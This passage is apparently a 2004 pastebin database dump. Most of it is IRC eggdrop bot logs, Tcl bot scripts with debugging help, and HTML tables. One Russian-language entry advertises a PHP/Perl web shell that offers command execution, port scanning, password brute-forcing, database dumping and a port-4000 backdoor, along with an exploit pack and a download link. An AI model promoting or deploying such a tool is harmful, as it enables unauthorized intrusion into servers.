INSERT INTO `pastebin` VALUES (2203, 'Anonymous', '2004-08-31 10:42:45', '<D|ASM> ASM\r\n<D|ASM>   |-+Kgb\r\n<D|ASM>   |-+Tcl\r\n<D|ASM>   |-+Irix\r\n<D|ASM>   |-+HP-UX\r\n<D|ASM>   |-+Ps\r\n<D|ASM>   |-+Tto\r\n<D|ASM>   |-+Vorce\r\n<D|ASM>   |-+Zzy\r\n<D|ASM>   |-+Jew\r\n<D|ASM>   |-+Mwit\r\n<D|ASM>   |-+Cia\r\n<D|ASM>   |-+Python\r\n<D|ASM>   |-+Fbi\r\n<D|ASM>   `-+Do\r\n<D|ASM> Average hops: 1.0, total bots: 15\r\n<Wcc> .tcl botlist\r\n<D|ASM> Tcl: {Kgb ASM 1061700 +} {Tcl ASM 1061703 +} {Irix ASM 1061700 +} {HP-UX ASM 1061700 +} {Ps ASM 1061700 +} {Tto ASM 1061700 +} {Vorce ASM 1061700 +} {Zzy ASM 1061700 +} {Jew ASM 1061700 +} {Mwit ASM 1061700 +} {Cia ASM 1061700 +} {Python ASM 1070003 +} {Fbi ASM 1061700 +} {Do ASM 1061700 +}', 0, 'none', 'none', 'none');
INSERT INTO `pastebin` VALUES (2204, '3zzy', '2004-08-31 13:17:56', '<a href=http://vzlomanet.x25.net.ru><b>NetworkFileManager</b></a> &#1080;&#1079;&#1085;&#1072;&#1095;&#1072;&#1083;&#1089;&#1103; &#1087;&#1080;&#1089;&#1072;&#1083;&#1089;&#1103; &#1076;&#1083;&#1103; &#1090;&#1086;&#1075;&#1086; &#1095;&#1090;&#1086;&#1073;&#1099; &#1084;&#1086;&#1078;&#1085;&#1086; &#1072;&#1076;&#1084;&#1080;&#1085;&#1080;&#1089;&#1090;&#1088;&#1072;&#1090;&#1080;&#1088;&#1086;&#1074;&#1072;&#1090;&#1100; &#1089;&#1074;&#1086;&#1081; &#1089;&#1072;&#1081;&#1090; &#1085;&#1077; &#1087;&#1088;&#1080;&#1073;&#1077;&#1075;&#1072;&#1103; &#1082; &#1092;&#1090;&#1087;, &#1090;&#1086; &#1077;&#1089;&#1090;&#1100; &#1091;&#1076;&#1072;&#1083;&#1077;&#1085;&#1085;&#1086;. &#1042; &#1087;&#1088;&#1086;&#1094;&#1077;&#1089;&#1089;&#1077; &#1088;&#1072;&#1073;&#1086;&#1090;&#1099; &#1074;&#1099;&#1103;&#1089;&#1085;&#1080;&#1083;&#1080;&#1089;&#1100; &#1076;&#1088;&#1091;&#1075;&#1080;&#1077; &#1080;&#1085;&#1090;&#1077;&#1088;&#1077;&#1089;&#1085;&#1099;&#1077; &#1092;&#1091;&#1085;&#1082;&#1094;&#1080;&#1080; &#1089;&#1082;&#1088;&#1080;&#1087;&#1090;&#1072;, &#1089; &#1077;&#1075;&#1086; &#1087;&#1086;&#1084;&#1086;&#1097;&#1100;&#1102; &#1084;&#1086;&#1078;&#1085;&#1086; &#1073;&#1099;&#1083;&#1086; &#1089;&#1074;&#1086;&#1073;&#1086;&#1076;&#1085;&#1086; &#1087;&#1088;&#1086;&#1089;&#1084;&#1072;&#1090;&#1088;&#1080;&#1074;&#1072;&#1090;&#1100; &#1092;&#1072;&#1081;&#1083;&#1099; &#1085;&#1072; &#1089;&#1077;&#1088;&#1074;&#1077;&#1088;&#1077; &#1080; &#1079;&#1072;&#1087;&#1091;&#1089;&#1082;&#1072;&#1090;&#1100; &#1089;&#1082;&#1088;&#1080;&#1087;&#1090;&#1099; &#1080; &#1087;&#1088;&#1086;&#1075;&#1088;&#1072;&#1084;&#1084;&#1099;... C&#1091;&#1097;&#1077;&#1089;&#1090;&#1074;&#1091;&#1077;&#1090; &#1076;&#1074;&#1077; &#1074;&#1077;&#1088;&#1089;&#1080;&#1080; &#1076;&#1072;&#1085;&#1085;&#1086;&#1075;&#1086; &#1089;&#1082;&#1088;&#1080;&#1087;&#1090;&#1072; &#1101;&#1090;&#1086; NetworkFileManagerPHP &#1080; NetworkFileManagerCGI, &#1088;&#1072;&#1079;&#1085;&#1080;&#1094;&#1072; &#1086;&#1076;&#1085;&#1086;&#1075;&#1086; &#1086;&#1090; &#1076;&#1088;&#1091;&#1075;&#1086;&#1075;&#1086; &#1074; &#1090;&#1086;&#1084; &#1095;&#1090;&#1086; &#1086;&#1076;&#1080;&#1085; &#1085;&#1072;&#1087;&#1080;&#1089;&#1072;&#1085; &#1085;&#1072; php &#1076;&#1088;&#1091;&#1075;&#1086;&#1081; &#1085;&#1072; perle. &#1050;&#1072;&#1078;&#1076;&#1099;&#1081; &#1084;&#1077;&#1085;&#1077;&#1076;&#1078;&#1077;&#1088; &#1085;&#1077;&#1089;&#1077;&#1090; &#1089;&#1074;&#1086;&#1102; &#1092;&#1091;&#1085;&#1082;&#1094;&#1080;&#1102;. &#1048; &#1090;&#1072;&#1082; &#1087;&#1086; &#1087;&#1086;&#1076;&#1088;&#1086;&#1073;&#1085;&#1077;&#1077;:\r\n\r\nNetworkFileManagerPHP\r\n\r\n&#1057;&#1091;&#1097;&#1077;&#1089;&#1090;&#1074;&#1091;&#1077;&#1090; 2 &#1074;&#1077;&#1088;&#1089;&#1080;&#1080; &#1076;&#1072;&#1085;&#1085;&#1086;&#1075;&#1086; &#1089;&#1082;&#1088;&#1080;&#1087;&#1090;&#1072; &#1101;&#1090;&#1086; &#1087;&#1091;&#1073;&#1083;&#1080;&#1095;&#1085;&#1072;&#1103; &#1080; &#1087;&#1088;&#1080;&#1074;&#1072;&#1090;&#1085;&#1072;&#1103;.\r\n\r\n&#1055;&#1091;&#1073;&#1083;&#1080;&#1095;&#1085;&#1072;&#1103; &#1074;&#1077;&#1088;&#1089;&#1080;&#1103; &#1074;&#1082;&#1083;&#1102;&#1095;&#1072;&#1077;&#1090; &#1074; &#1089;&#1077;&#1073;&#1103;:\r\n1. &#1042;&#1086;&#1079;&#1084;&#1086;&#1078;&#1085;&#1086;&#1089;&#1090;&#1100; &#1087;&#1088;&#1086;&#1089;&#1084;&#1072;&#1090;&#1088;&#1080;&#1074;&#1072;&#1090;&#1100; &#1092;&#1072;&#1081;&#1083;&#1099; &#1093;&#1086;&#1089;&#1090;&#1080;&#1085;&#1075;&#1072; 2-&#1084;&#1103; &#1089;&#1087;&#1086;&#1089;&#1086;&#1073;&#1072;&#1084;&#1080; (&#1072;&#1082;&#1090;&#1091;&#1072;&#1083;&#1100;&#1085;&#1086; &#1077;&#1089;&#1083;&#1080; &#1086;&#1076;&#1080;&#1085; &#1080;&#1079; &#1085;&#1080;&#1093; &#1086;&#1090;&#1082;&#1083;&#1102;&#1095;&#1077;&#1085; &#1085;&#1072; &#1093;&#1086;&#1089;&#1090;&#1080;&#1085;&#1075;&#1077;)\r\n2. &#1048;&#1089;&#1087;&#1086;&#1083;&#1100;&#1079;&#1086;&#1074;&#1072;&#1085;&#1080;&#1077; &#1072;&#1083;&#1100;&#1103;&#1089;&#1086;&#1074;, &#1090;&#1086; &#1077;&#1089;&#1090;&#1100; &#1091;&#1078;&#1077; &#1075;&#1086;&#1090;&#1086;&#1074;&#1099;&#1077; &#1082;&#1086;&#1084;&#1072;&#1085;&#1076;&#1099;, &#1082;&#1086;&#1090;&#1086;&#1088;&#1099;&#1077; &#1087;&#1088;&#1086;&#1087;&#1080;&#1089;&#1072;&#1085;&#1099; &#1074; &#1088;&#1072;&#1089;&#1082;&#1088;&#1099;&#1074;&#1072;&#1102;&#1097;&#1077;&#1084; &#1089;&#1087;&#1080;&#1089;&#1082;&#1077; (&#1080;&#1085;&#1090;&#1077;&#1088;&#1077;&#1089;&#1085;&#1099; &#1085;&#1086;&#1074;&#1080;&#1095;&#1082;&#1072;&#1084;, &#1082;&#1086;&#1090;&#1086;&#1088;&#1099;&#1077; &#1085;&#1077; &#1079;&#1085;&#1072;&#1102;&#1090; &#1083;&#1080;&#1085;&#1091;&#1082;&#1089;&#1072;)\r\n3. &#1057;&#1082;&#1072;&#1085;&#1080;&#1088;&#1086;&#1074;&#1072;&#1085;&#1080;&#1077; &#1089;&#1077;&#1088;&#1074;&#1077;&#1088;&#1072; &#1085;&#1072; &#1086;&#1090;&#1082;&#1088;&#1099;&#1090;&#1099;&#1077; &#1087;&#1086;&#1088;&#1090;&#1099;, &#1087;&#1086;&#1082;&#1072;&#1079;&#1099;&#1074;&#1072;&#1077;&#1090; &#1074;&#1089;&#1077; &#1086;&#1090;&#1082;&#1088;&#1099;&#1090;&#1099;&#1077; &#1087;&#1086;&#1088;&#1090;&#1099; &#1085;&#1072; &#1089;&#1077;&#1088;&#1074;&#1077;&#1088;&#1077; &#1080; &#1080;&#1093; &#1087;&#1088;&#1077;&#1076;&#1085;&#1072;&#1079;&#1085;&#1072;&#1095;&#1077;&#1085;&#1080;&#1077;.\r\n4. &#1041;&#1088;&#1091;&#1090; &#1089;&#1077;&#1088;&#1074;&#1077;&#1088;&#1072;. &#1042;&#1089;&#1082;&#1088;&#1080;&#1087;&#1090; &#1074;&#1082;&#1083;&#1102;&#1095;&#1077;&#1085; &#1087;&#1088;&#1086;&#1089;&#1090;&#1077;&#1085;&#1100;&#1082;&#1080;&#1081; &#1073;&#1088;&#1091;&#1090; &#1089;&#1077;&#1088;&#1074;&#1077;&#1088;&#1072;, &#1087;&#1088;&#1086;&#1074;&#1077;&#1088;&#1082;&#1072; &#1087;&#1072;&#1088;&#1086;&#1083;&#1103; &#1087;&#1086; &#1077;&#1075;&#1086; &#1083;&#1086;&#1075;&#1080;&#1085;&#1091;.(&#1076;&#1072;&#1085;&#1085;&#1099;&#1077; &#1086; &#1087;&#1086;&#1083;&#1100;&#1079;&#1086;&#1074;&#1072;&#1090;&#1077;&#1083;&#1103;&#1093; &#1073;&#1077;&#1088;&#1091;&#1090;&#1100;&#1089;&#1103; &#1080;&#1079; &#1092;&#1072;&#1081;&#1083;&#1072; /etc/passwd)\r\n&#1042;&#1089;&#1077; &#1085;&#1072;&#1093;&#1086;&#1076;&#1080;&#1090;&#1089;&#1103; &#1074; &#1086;&#1076;&#1085;&#1086;&#1084; &#1092;&#1072;&#1081;&#1083;&#1077;. &#1074;&#1077;&#1089; &#1089;&#1086;&#1089;&#1090;&#1072;&#1074;&#1083;&#1103;&#1077;&#1090; 50 &#1050;&#1073;\r\n\r\nDownload: <a href=http://filez.mazafaka.ru/tools/nfm_en.zip><b>NetworkFileManager</a> [11 kb]\r\n\r\n&#1055;&#1088;&#1080;&#1074;&#1072;&#1090;&#1085;&#1072;&#1103;&#1074;&#1077;&#1088;&#1089;&#1080;&#1103; &#1074;&#1082;&#1083;&#1102;&#1095;&#1072;&#1077;&#1090; &#1074; &#1089;&#1077;&#1073;&#1103;:\r\n1. &#1042;&#1086;&#1079;&#1084;&#1086;&#1078;&#1085;&#1086;&#1089;&#1090;&#1100; &#1087;&#1088;&#1086;&#1089;&#1084;&#1072;&#1090;&#1088;&#1080;&#1074;&#1072;&#1090;&#1100; &#1092;&#1072;&#1081;&#1083;&#1099; &#1093;&#1086;&#1089;&#1090;&#1080;&#1085;&#1075;&#1072; 2-&#1084;&#1103; &#1089;&#1087;&#1086;&#1089;&#1086;&#1073;&#1072;&#1084;&#1080; (&#1072;&#1082;&#1090;&#1091;&#1072;&#1083;&#1100;&#1085;&#1086; &#1077;&#1089;&#1083;&#1080; &#1086;&#1076;&#1080;&#1085; &#1080;&#1079; &#1085;&#1080;&#1093; &#1086;&#1090;&#1082;&#1083;&#1102;&#1095;&#1077;&#1085; &#1085;&#1072; &#1093;&#1086;&#1089;&#1090;&#1080;&#1085;&#1075;&#1077;)\r\n2. &#1048;&#1089;&#1087;&#1086;&#1083;&#1100;&#1079;&#1086;&#1074;&#1072;&#1085;&#1080;&#1077; &#1072;&#1083;&#1100;&#1103;&#1089;&#1086;&#1074;, &#1090;&#1086; &#1077;&#1089;&#1090;&#1100; &#1091;&#1078;&#1077; &#1075;&#1086;&#1090;&#1086;&#1074;&#1099;&#1077; &#1082;&#1086;&#1084;&#1072;&#1085;&#1076;&#1099;, &#1082;&#1086;&#1090;&#1086;&#1088;&#1099;&#1077; &#1087;&#1088;&#1086;&#1087;&#1080;&#1089;&#1072;&#1085;&#1099; &#1074; &#1088;&#1072;&#1089;&#1082;&#1088;&#1099;&#1074;&#1072;&#1102;&#1097;&#1077;&#1084; &#1089;&#1087;&#1080;&#1089;&#1082;&#1077; (&#1080;&#1085;&#1090;&#1077;&#1088;&#1077;&#1089;&#1085;&#1099; &#1085;&#1086;&#1074;&#1080;&#1095;&#1082;&#1072;&#1084;, &#1082;&#1086;&#1090;&#1086;&#1088;&#1099;&#1077; &#1085;&#1077; &#1079;&#1085;&#1072;&#1102;&#1090; &#1083;&#1080;&#1085;&#1091;&#1082;&#1089;&#1072;)\r\n3. &#1057;&#1082;&#1072;&#1085;&#1080;&#1088;&#1086;&#1074;&#1072;&#1085;&#1080;&#1077; &#1089;&#1077;&#1088;&#1074;&#1077;&#1088;&#1072; &#1085;&#1072; &#1086;&#1090;&#1082;&#1088;&#1099;&#1090;&#1099;&#1077; &#1087;&#1086;&#1088;&#1090;&#1099;, &#1087;&#1086;&#1082;&#1072;&#1079;&#1099;&#1074;&#1072;&#1077;&#1090; &#1074;&#1089;&#1077; &#1086;&#1090;&#1082;&#1088;&#1099;&#1090;&#1099;&#1077; &#1087;&#1086;&#1088;&#1090;&#1099; &#1085;&#1072; &#1089;&#1077;&#1088;&#1074;&#1077;&#1088;&#1077; &#1080; &#1080;&#1093; &#1087;&#1088;&#1077;&#1076;&#1085;&#1072;&#1079;&#1085;&#1072;&#1095;&#1077;&#1085;&#1080;&#1077;.\r\n4. &#1041;&#1088;&#1091;&#1090; &#1089;&#1077;&#1088;&#1074;&#1077;&#1088;&#1072;. &#1042;&#1089;&#1082;&#1088;&#1080;&#1087;&#1090; &#1074;&#1082;&#1083;&#1102;&#1095;&#1077;&#1085; &#1087;&#1088;&#1086;&#1089;&#1090;&#1077;&#1085;&#1100;&#1082;&#1080;&#1081; &#1073;&#1088;&#1091;&#1090; &#1089;&#1077;&#1088;&#1074;&#1077;&#1088;&#1072;, &#1087;&#1088;&#1086;&#1074;&#1077;&#1088;&#1082;&#1072; &#1087;&#1072;&#1088;&#1086;&#1083;&#1103; &#1087;&#1086; &#1077;&#1075;&#1086; &#1083;&#1086;&#1075;&#1080;&#1085;&#1091;.(&#1076;&#1072;&#1085;&#1085;&#1099;&#1077; &#1086; &#1087;&#1086;&#1083;&#1100;&#1079;&#1086;&#1074;&#1072;&#1090;&#1077;&#1083;&#1103;&#1093; &#1073;&#1077;&#1088;&#1091;&#1090;&#1100;&#1089;&#1103; &#1080;&#1079; &#1092;&#1072;&#1081;&#1083;&#1072; /etc/passwd)\r\n5. &#1044;&#1072;&#1084;&#1087; &#1073;&#1072;&#1079;&#1099; mysql. &#1042;&#1086;&#1079;&#1084;&#1086;&#1078;&#1085;&#1086;&#1089;&#1090;&#1100; &#1089;&#1076;&#1072;&#1084;&#1087;&#1080;&#1090;&#1100; &#1083;&#1102;&#1073;&#1091;&#1102; &#1073;&#1072;&#1079;&#1091; Mysql, &#1085;&#1072;&#1093;&#1086;&#1076;&#1103;&#1097;&#1091;&#1102;&#1089;&#1103; &#1085;&#1072; &#1101;&#1090;&#1086;&#1084; &#1093;&#1086;&#1089;&#1090;&#1080;&#1085;&#1075;&#1077;.\r\n6. &#1059;&#1089;&#1090;&#1072;&#1085;&#1086;&#1074;&#1082;&#1072; bash shella. &#1042;&#1099; &#1095;&#1077;&#1088;&#1077;&#1079; &#1089;&#1082;&#1088;&#1080;&#1087;&#1090; &#1074;&#1099; &#1084;&#1086;&#1078;&#1077;&#1090;&#1077; &#1087;&#1086;&#1083;&#1091;&#1095;&#1080;&#1090;&#1100; &#1087;&#1086;&#1083;&#1085;&#1086;&#1094;&#1077;&#1085;&#1085;&#1099;&#1081; &#1073;&#1072;&#1082;&#1076;&#1086;&#1088;, &#1082;&#1086;&#1090;&#1086;&#1088;&#1099;&#1081; &#1086;&#1090;&#1082;&#1088;&#1099;&#1074;&#1072;&#1077;&#1090; &#1085;&#1072; 4000 &#1087;&#1086;&#1088;&#1090;&#1091; &#1090;&#1077;&#1083;&#1085;&#1077;&#1090; &#1089;&#1086;&#1077;&#1076;&#1080;&#1085;&#1077;&#1085;&#1080;&#1077;. (&#1085;&#1077;&#1086;&#1073;&#1093;&#1086;&#1076;&#1080;&#1084; &#1076;&#1083;&#1103; &#1088;&#1091;&#1090;&#1072;&#1085;&#1080;&#1103; &#1089;&#1077;&#1088;&#1074;&#1077;&#1088;&#1072;)\r\n7. &#1047;&#1072;&#1097;&#1080;&#1097;&#1077;&#1085;&#1072; &#1079;&#1072;&#1089;&#1082;&#1088;&#1080;&#1087;&#1090;&#1086;&#1074;&#1072;&#1085;&#1085;&#1099;&#1084; &#1087;&#1072;&#1088;&#1086;&#1083;&#1077;&#1084;.\r\n8. &#1042; &#1087;&#1086;&#1089;&#1083;&#1077;&#1076;&#1085;&#1102;&#1102; &#1074;&#1077;&#1088;&#1089;&#1080;&#1102; NFMPHP &#1074;&#1082;&#1083;&#1102;&#1095;&#1077;&#1085;&#1072; &#1073;&#1072;&#1079;&#1072; &#1087;&#1088;&#1080;&#1074;&#1072;&#1090;&#1085;&#1099;&#1093; &#1080; &#1087;&#1091;&#1073;&#1083;&#1080;&#1095;&#1085;&#1099;&#1093; &#1101;&#1082;&#1089;&#1087;&#1083;&#1086;&#1081;&#1090;&#1086;&#1074;, &#1080;&#1093; &#1074;&#1099; &#1089;&#1084;&#1086;&#1078;&#1077;&#1090;&#1077; &#1089;&#1082;&#1072;&#1095;&#1072;&#1090;&#1100; &#1077;&#1089;&#1083;&#1080; &#1091; &#1074;&#1072;&#1089; &#1077;&#1089;&#1090;&#1100; &#1076;&#1086;&#1089;&#1090;&#1091;&#1087; &#1082; &#1087;&#1088;&#1080;&#1074;&#1072;&#1090;&#1085;&#1086;&#1081; &#1074;&#1077;&#1088;&#1089;&#1080;&#1080;(&#1076;&#1083;&#1103; &#1082;&#1072;&#1078;&#1076;&#1086;&#1075;&#1086; &#1102;&#1079;&#1077;&#1088;&#1072; &#1089;&#1074;&#1086;&#1081; &#1072;&#1082;&#1082;&#1072;&#1091;&#1085;&#1090;, &#1076;&#1072;&#1077;&#1090;&#1089;&#1103; &#1085;&#1072; &#1074;&#1088;&#1077;&#1084;&#1103;.) &#1042;&#1089;&#1077; &#1101;&#1082;&#1089;&#1087;&#1083;&#1086;&#1081;&#1090;&#1099; &#1089;&#1082;&#1086;&#1084;&#1087;&#1080;&#1083;&#1080;&#1088;&#1086;&#1074;&#1072;&#1085;&#1099; &#1080; &#1080;&#1084;&#1077;&#1102;&#1090; &#1087;&#1086;&#1076;&#1088;&#1086;&#1073;&#1085;&#1086;&#1077; &#1086;&#1087;&#1080;&#1089;&#1072;&#1085;&#1080;&#1077; &#1080;&#1093; &#1080;&#1089;&#1087;&#1086;&#1083;&#1100;&#1079;&#1086;&#1074;&#1072;&#1085;&#1080;&#1103;.\r\n&#1042;&#1089;&#1077; &#1085;&#1072;&#1093;&#1086;&#1076;&#1080;&#1090;&#1089;&#1103; &#1074; &#1086;&#1076;&#1085;&#1086;&#1084; &#1092;&#1072;&#1081;&#1083;&#1077;. &#1074;&#1077;&#1089; &#1089;&#1086;&#1089;&#1090;&#1072;&#1074;&#1083;&#1103;&#1077;&#1090; 70 &#1050;&#1073;', 0, 'none', 'none', 'none');
INSERT INTO `pastebin` VALUES (2205, 'Anonymous', '2004-08-31 14:27:57', '<D|ASM> Hey Wcc!  My name is Tcl and I am running eggdrop v1.6.17+releaseprep2, on Linux 2.4.23.\r\n...\r\n<Wcc> .bottree\r\n<D|ASM> [13:27] #Wcc# bottree\r\n<D|ASM> Tcl\r\n<D|ASM>   `-+ASM\r\n<D|ASM>        |-+Kgb\r\n<D|ASM>        |-+Irix\r\n<D|ASM>        |-+HP-UX\r\n<D|ASM>        |-+Ps\r\n<D|ASM>        |-+Tto\r\n<D|ASM>        |-+Vorce\r\n<D|ASM>        |-+Zzy\r\n<D|ASM>        |-+Jew\r\n<D|ASM>        |-+Mwit\r\n<D|ASM>        |-+Cia\r\n<D|ASM>        |-+Python\r\n<D|ASM>        |-+Fbi\r\n<D|ASM>        `-+Do\r\n<D|ASM> Average hops: 1.9, total bots: 15\r\n<Wcc> .tcl botlist\r\n<D|ASM> Tcl: {ASM Tcl 1061703 +} {Kgb ASM 1061700 +} {Irix ASM 1061700 +} {HP-UX ASM 1061700 +} {Ps ASM 1061700 +} {Tto ASM 1061700 +} {Vorce ASM 1061700 +} {Zzy ASM 1061700 +} {Jew ASM 1061700 +} {Mwit ASM 1061700 +} {Cia ASM 1061700 +} {Python ASM 1070003 +} {Fbi ASM 1061700 +} {Do ASM 1061700 +}', 0, 'none', 'none', 'none');
INSERT INTO `pastebin` VALUES (2206, '_u2pop_', '2004-08-31 21:26:19', 'bind pub - !cmd pub:cmd\r\n\r\nproc pub:cmd {nick uhost hand chan text} {\r\nglobal channel\r\nputserv "PRIVMSG $chan \\002\\00304The list command is !cycle - !server - !google <search> - !file <search-file> - !image <search-image>\\002\\00304 }\r\n\r\nputlog "command list has been loaded..."', 0, 'tcl', 'why the bot didn`t shoot the msg when i type !cmd ?', '#EggTCL');
INSERT INTO `pastebin` VALUES (2207, '_u2pop_', '2004-08-31 21:28:28', 'bind pub - !cmd pub:cmd\r\n\r\nproc pub:cmd {nick uhost hand chan text} {\r\nglobal channel\r\nputserv "PRIVMSG $chan \\002\\00304The list command is !cycle - !server - !google <search> - !file <search-file> - !image <search-image>\\002\\00304 }\r\n\r\nputlog "command list has been loaded..."', 2206, 'tcl', 'why the bot didn`t shoot the msg when i type !cmd ?', '#TCL');
INSERT INTO `pastebin` VALUES (2208, '_u2pop_', '2004-08-31 21:29:15', 'bind pub - !cmd pub:cmd\r\n\r\nproc pub:cmd {nick uhost hand chan text} {\r\nglobal channel\r\nputserv "PRIVMSG $chan \\002\\00304The list command is !cycle - !server - !google <search> - !file <search-file> - !image <search-image>\\002\\00304 }\r\n\r\nputlog "command list has been loaded..."', 2206, 'tcl', 'why the bot didn`t shoot the msg when i type !cmd ?', '#TCL.NO');
INSERT INTO `pastebin` VALUES (2209, 'Pavix', '2004-08-31 21:29:28', 'bind pub - !cmd pub:cmd\r\n\r\nproc pub:cmd {nick uhost hand chan text} {\r\nglobal channel\r\nputserv "PRIVMSG $chan : \\002\\00304The list command is !cycle - !server - !google <search> - !file <search-file> - !image <search-image>\\002\\00304 }\r\n\r\nputlog "command list has been loaded..."', 2206, 'tcl', 'Should be fixed u2pop', '#EggTCL');
INSERT INTO `pastebin` VALUES (2210, 'RoSkO', '2004-08-31 21:39:01', 'bind pub - !cmd pub:cmd\r\n\r\nproc pub:cmd {nick uhost hand chan text} {\r\nglobal channel\r\nputserv "PRIVMSG $chan :\\002\\00304The list command is !cycle - !server - !google <search> - !file <search-file> - !image <search-image>\\002\\00304"\r\n\r\n}\r\n\r\nputlog "command list has been loaded..."', 2206, 'none', 'user', '#EggTCL');
INSERT INTO `pastebin` VALUES (2211, 'BL4DE', '2004-09-01 03:46:00', 'can''t read "info(timeout)": no such element in array\r\n    while executing\r\n"after $info(timeout) [list catch [list unset ::ident::$id]]"\r\n    (procedure "Finish" line 9)\r\n    invoked from within\r\n"Finish $id {error} {SOCKET-ERROR}"\r\n    (procedure "::ident::Write" line 6)\r\n    invoked from within\r\n"::ident::Write sock7 ident2"\r\ncan''t read "info(timeout)": no such element in array\r\n    while executing\r\n"after $info(timeout) [list catch [list unset ::ident::$id]]"\r\n    (procedure "Finish" line 9)\r\n    invoked from within\r\n"Finish $id {error} {SOCKET-ERROR}"\r\n    (procedure "::ident::Read" line 5)\r\n    invoked from within\r\n"::ident::Read sock7 ident2"\r\n\r\ntimeout is 5000 and i am using -command, after some time this error appear\r\n', 0, 'tcl', 'error', 'none');
INSERT INTO `pastebin` VALUES (2212, 'Trovster', '2004-09-01 07:12:12', '<table summary="">\r\n<caption></caption>\r\n\r\n<thead>\r\n<th></th>\r\n<th></th>\r\n</thead>\r\n\r\n<tbody>\r\n<tr>\r\n	<td></td>\r\n	<td></td>\r\n</tr>\r\n<tr>\r\n	<td></td>\r\n	<td></td>\r\n</tr>\r\n</tbody>\r\n\r\n</table>', 1408, 'none', 'none', 'none');
INSERT INTO `pastebin` VALUES (2213, 'trovster', '2004-09-01 07:20:50', '<table summary="">\r\n\r\n<caption></caption>\r\n\r\n<thead>\r\n	<tr>\r\n		<th></th>\r\n		<th></th>\r\n	</tr>\r\n</thead>\r\n\r\n<tbody>\r\n	<tr>\r\n		<td></td>\r\n		<td></td>\r\n	</tr>\r\n	<tr>\r\n		<td></td>\r\n		<td></td>\r\n	</tr>\r\n</tbody>\r\n\r\n</table>', 0, 'none', 'none', 'none');
INSERT INTO `pastebin` VALUES (2214, 'trovster', '2004-09-01 10:18:15', '<table summary="">\r\n\r\n<caption></caption>\r\n\r\n<thead>\r\n	<tr>\r\n		<th></th>\r\n		<th></th>\r\n	</tr>\r\n</thead>\r\n\r\n<tfoot>\r\n	<tr>\r\n		<td></td>\r\n		<td></td>\r\n	</tr>\r\n</tfoot>\r\n\r\n<tbody>\r\n	<tr>\r\n		<td></td>\r\n		<td></td>\r\n	</tr>\r\n	<tr>\r\n		<td></td>\r\n		<td></td>\r\n	</tr>\r\n</tbody>\r\n\r\n</table>', 0, 'none', 'none', 'none');

INSERT INTO `pastebin` VALUES (2216, 'mergh', '2004-09-02 11:23:13', 'bind ctcp - "ACTION" ctcp:test\r\n\r\nproc ctcp:test {nick uhost handle dest keyword text} {\r\n  putlog "Nick: $nick Uhost: $uhost Handle: $handle Dest: $dest Keyword: $keyword Text: $text"\r\n}', 0, 'tcl', 'ctcp example', '#EggTCL');


INSERT INTO `pastebin` VALUES (2219, 'Immortal', '2004-09-03 11:34:53', 'set ruleschan "#lebanon"\r\n\r\nbind pub - !rules rules\r\n\r\nbind join -|- "$ruleschan *" joinmsg\r\n\r\n\r\n\r\nproc joinmsg {nick host hand chan} {\r\n\r\n global botnick ruleschan \r\n\r\n  if {($nick != $botnick) && ([strlwr $ruleschan]==[strlwr $chan])} {\r\n\r\n  putnotc $nick "Hello and welcome to \\002$chan\\002, $nick.  Please type !rules on the main channel if you need help clarifying $chan rules. Enjoy your stay! :-)"\r\n\r\n }\r\n\r\n}\r\n\r\n\r\n\r\nproc rules {nick host handle channel arg} {\r\n\r\nglobal botnick ruleschan\r\n\r\nif {![isop $botnick $channel]} {return 0}\r\n\r\nset n2hand [nick2hand $nick $channel]\r\n\r\nif {[regexp -nocase dcc $nick]} {return 0}\r\n\r\nif {[isop $nick $channel]} {putserv "PRIVMSG $channel :You''re a $channel Op, $nick. You should already know the rules, dumbo."}\r\n\r\nputnotc $nick "Listing $channel user-rules:"\r\n\r\nputnotc $nick "\\002$channel [strupr prohibits]\\002 any act of:"\r\n\r\nputnotc $nick "1) \\00304Flooding, Hacking, Spamming or Scanning\\003"\r\n\r\nputnotc $nick "2) \\00304Bad Nicks\\003 (Offensive Nicknames)"\r\n\r\nputnotc $nick "3) \\00304Swearing\\003 (Offensive language, including disrespect to another user''s race or color.)"\r\n\r\nputnotc $nick "4) \\00304Sexual Reference\\003 and/or any act of harrassing other $channel users" \r\n\r\nputnotc $nick "5) \\00304Religious Topics\\003 (No references or discussions about religion of any kind is permitted.)"\r\n\r\nputnotc $nick "6) \\00304ONLY English and/or Arabic.\\003 (which allows $channel Operators to monitor the channel easily.)"\r\n\r\nputnotc $nick "7) \\00304Politics\\003. $channel allows political discussions and nicknames as long as those are still decent and non-offensive to other channels." \r\n\r\nputnotc $nick "Remember: $channel ops do their job for the love of the channel, they do not get paid for being ops. You are welcome to ask for assistance, but be patient for an op might be busy with someone else. You will be voiced (+v) on channel activity. Enjoy your time on $channel, $nick."\r\n\r\n}\r\n\r\nreturn 1\r\n\r\n}\r\n\r\n', 0, 'tcl', 'channel rules listing via /notice', '#EggTCL');
INSERT INTO `pastebin` VALUES (2220, 'Immortal', '2004-09-03 12:05:01', 'set ruleschan "#lebanon"\r\n\r\nbind pub - !rules rules\r\n\r\nbind join -|- "$ruleschan *" joinmsg\r\n\r\n\r\n\r\nproc joinmsg {nick host hand chan} {\r\n\r\n global botnick ruleschan \r\n\r\n  if {($nick != $botnick) && ([strlwr $ruleschan]==[strlwr $chan])} {\r\n\r\n  putnotc $nick "Hello and welcome to \\002$chan\\002, $nick.  Please type !rules on the main channel if you need help clarifying $chan rules. Enjoy your stay! :-)"\r\n\r\n }\r\n\r\n}\r\n\r\n\r\n\r\nproc rules {nick host handle channel arg} {\r\n\r\nglobal botnick ruleschan\r\n\r\nif {![isop $botnick $channel]} {return 0}\r\n\r\nset n2hand [nick2hand $nick $channel]\r\n\r\nif {[regexp -nocase dcc $nick]} {return 0}\r\n\r\nif {[isop $nick $channel]} {putserv "PRIVMSG $channel :You''re a $channel Op, $nick. You should already know the rules, dumbo."}\r\n\r\nputnotc $nick "Listing $channel user-rules:"\r\n\r\nputnotc $nick "\\002$channel [strupr prohibits]\\002 any act of:"\r\n\r\nputnotc $nick "1) \\00304Flooding, Hacking, Spamming or Scanning\\003"\r\n\r\nputnotc $nick "2) \\00304Bad Nicks\\003 (Offensive Nicknames)"\r\n\r\nputnotc $nick "3) \\00304Swearing\\003 (Offensive language, including disrespect to another user''s race or color.)"\r\n\r\nputnotc $nick "4) \\00304Sexual Reference\\003 and/or any act of harrassing other $channel users" \r\n\r\nputnotc $nick "5) \\00304Religious Topics\\003 (No references or discussions about religion of any kind is permitted.)"\r\n\r\nputnotc $nick "6) \\00304ONLY English and/or Arabic.\\003 (which allows $channel Operators to monitor the channel easily.)"\r\n\r\nputnotc $nick "7) 